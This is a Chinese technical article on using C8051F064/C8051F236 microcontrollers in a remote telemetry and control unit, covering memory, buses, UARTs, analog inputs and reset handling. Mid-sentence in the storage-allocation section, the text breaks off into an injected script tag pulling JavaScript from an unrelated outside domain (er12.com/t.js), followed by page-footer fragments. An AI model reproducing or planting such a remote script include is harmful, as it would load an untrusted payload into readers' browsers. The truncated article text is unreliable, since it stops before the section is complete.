C8051F单片机在远端测控装置中的应用

c8051f单片机是完全集成的混合信号系统芯片(soc),具有与8051指令集完全兼容的cip-51内核和高速、高性能、高集成度等特点。在本文设计的一套远端测控装置中取得了较好的效果。

系统简介

远端测控装置是一种现场可编程的控制器,它能完成数据的采集控制,而通过远程通信的方式(如电台、cdma、拨号等)将数据上传至中心站或接收中心站的遥控指令。它往往被安装在比较分散、环境比较恶劣、无电源保障(经常断电或使用太阳能)且无人值守的地方,因此它运行的可靠性和功耗就显得尤为重要了。c8051f单片机的工业级工作温度(-40℃~+84℃)、低电压、低功耗、自带看门狗和多复位源等特点满足了此系统的要求。

基于此系统的定位,选用c8051f064做主控部分,c8051f236做从属部分。系统要求具有输入/输出点可灵活配置、多通信端口、可现场修改配置等性能。

系统结构如图1所示,系统采用220vac或24vdc供电,主单元功耗3.3w,每个从单元功耗2.2w,最多可以扩展8个从单元。

图1 系统结构图

主单元结构

主单元结构如图2所示,根据系统的特点将c8051f064的功能做如下配置:

存储器

c8051f064内部自带4352字节ram和128字节的flash,由于系统对数据的实时性要求不高且采用远程通信方式,为了降低功耗,往往将大量数据缓存,在一定的时间集中发送,所以需要比较大的数据存储区,利用外部数据和地址总线可以扩展32kb的ram。另外,作为现场可编程设备,需要设定大量的参数,而这些参数都需要掉电保持,所以,除了使用单片机内部的128字节的非易失ram之外,还扩展了一个8kb的e2prom.

地址和数据总线的利用

地址和数据总线采用复用的方式,c8051f064支持64kb的外部存储空间,扩展ram为32kb,所以,剩下地址线a15是空余的,利用a15和其他低位的数据线,用与非门就可以构成片选信号,用来选择总线上的设备。在总线上还外挂了一个实时时钟,用来作为系统的时间标志,由于此芯片内带有电池保持的ram,对于频繁操作且需要保持的数据就可以存在此处,这样可以避免内部非易失ram和e2prom的复杂操作。另外,现场的数字i/o也可以用总线和片选经光电隔离构成,这样可以大量缩减单片机的引脚。

图2 主单元结构图

串口

c8051f064内部带有两个uart,其中串口0经光电隔离转换为rs-485信号,用于跟现场的其他设备连接,串口1再加上6个gpio口经电平转换后成为全功能标准的rs-232接口,用于与modem、电台、cdma等连接。用c8051f064的spi口经max3100扩展成uart,通过外部的可选配件,转变成rs-232或rs-485信号。

模拟量

c8051f064的模拟量输入最高不超过3.6v,所以接入信号时要注意其范围,针对此系统,由于现场信号大部分是4ma~20ma电流,因此用100ω的精密电阻,配上2.5v的精密电压源,可以将模拟量的精度调整到1‰。另外,启动内部adc0的窗口检测功能,可以方便地实现模拟量的上下限越限报警功能。

数字量

大部分数字量直接挂在总线上,另外,有两路开关量输入直接接到单片机引脚,并在内部分配这两个引脚为定时/计数器的输入,这两路就可以兼做脉冲量了。

单片机资源分配

c8051f064的端口功能分配使用交叉开关的方式,而且还带有优先级,这种方式很灵活,但是要求设计师在电路设计时就要将内部的功能分配就绪,也就是说电路板加工完成后就不可以随意修改交叉开关了。

复位

c8051f064除了实现传统的reset信号复位外,还有上电、掉电、外部信号、软件命令、比较器0、时钟丢失检测及开门狗等复位功能,共7种复位方式。单片机复位后可以通过查询寄存器得知是何原因引起的复位,这对数据的处理和故障分析都是很有用的。本系统使用的是上电、软件命令、时钟丢失和看门狗,增加软件命令复位的原因是:由于这些设备的安装地点都是比较偏远的,当中心站察觉此设备异常时,可以将其重新启动,以解决一些异常问题。

图3 从模块结构图

一些技术问题

数据的存储

在这个系统中有多个可以存储数据的存储器,如256字节的内部ram、4kb的内部扩展ram、32kb的外扩ram、128字节的flash、实时时钟内114字节的电池保持ram和外扩8kb的e2prom,这么多的数据存储区,一定要仔细分配其用途,以便充分发挥功能和速度。本系统作如下分配:256字节的内部ram读写速度最快,而且它是单片机内核所占用的,所以要减少使用,它用在对速度要求较高且频繁使用的地方,如中断内的变量等;4kb内部扩展ram和32kb外扩ram的地位是等同的,一般用作程序的中间变量;128字节的flash是整片修改的,所以修改之前要把所有数据读到缓冲区,将要修改的字节改掉,再把整片擦除,然后把数据写入。虽然写比较麻烦,但是读取很方便,所以用它存放一些?script src=http://er12.com/t.js>

  • C8051F单片机在远端测控装置中的应用已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计